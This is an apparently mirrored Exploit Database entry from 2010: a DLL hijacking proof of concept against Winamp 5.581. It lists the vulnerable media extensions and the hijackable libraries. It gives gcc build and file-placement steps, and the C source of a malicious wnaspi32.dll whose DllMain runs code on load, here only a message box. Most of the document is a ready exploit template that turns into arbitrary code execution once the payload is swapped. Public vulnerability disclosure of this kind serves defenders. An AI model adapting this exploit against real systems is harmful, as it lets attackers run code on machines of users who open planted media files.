NullSoft Winamp 5.581 – ‘wnaspi32.dll’ DLL Hijacking

• Exploit Database
• 11 阅读

• 作者： LiquidWorm
  日期： 2010-08-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14789/

• /*
  
   Nullsoft Winamp 5.581 (wnaspi32.dll) DLL Hijacking Exploit
  
   Vendor: Nullsoft.
   Product Web Page: http://www.winamp.com
   Affected Version: 5.581 (x86)
  
   Summary: Winamp is a media player for Windows-based PCs,
   written by Nullsoft, now a subsidiary of AOL. It is
   proprietary freeware/shareware, multi-format, extensible
   with plug-ins and skins, and is noted for its graphical
   sound visualization, playlist, and media library features.
  
   Desc: Winamp 5.581 suffers from a dll hijacking vulnerability
   that enables the attacker to execute arbitrary code on a local
   level. The vulnerable extensions are .669, .aac, .aiff, .amf,
   .au, .avr, .b4s, .caf and .cda thru wnaspi32.dll and dwmapi.dll
   libraries.
  
   ----
   gcc -shared -o wnaspi32.dll winamp.c
  
   Compile and rename to wnaspi32.dll, create a file test.cda and put both
   files in same dir and execute.
   ----
  
   Tested on Microsoft Windows XP Professional SP3 (EN)
  
  
  
   Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
   liquidworm gmail com
  
   Zero Science Lab - http://www.zeroscience.mk
  
  
   25.08.2010
  
  */
  
  
  #include <windows.h>
  
  BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
  {
  
  	switch (fdwReason)
  	{
  		case DLL_PROCESS_ATTACH:
  		dll_mll();
  		case DLL_THREAD_ATTACH:
  		case DLL_THREAD_DETACH:
  		case DLL_PROCESS_DETACH:
  		break;
  	}
  
  	return TRUE;
  }
  
  int dll_mll()
  {
  	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
  }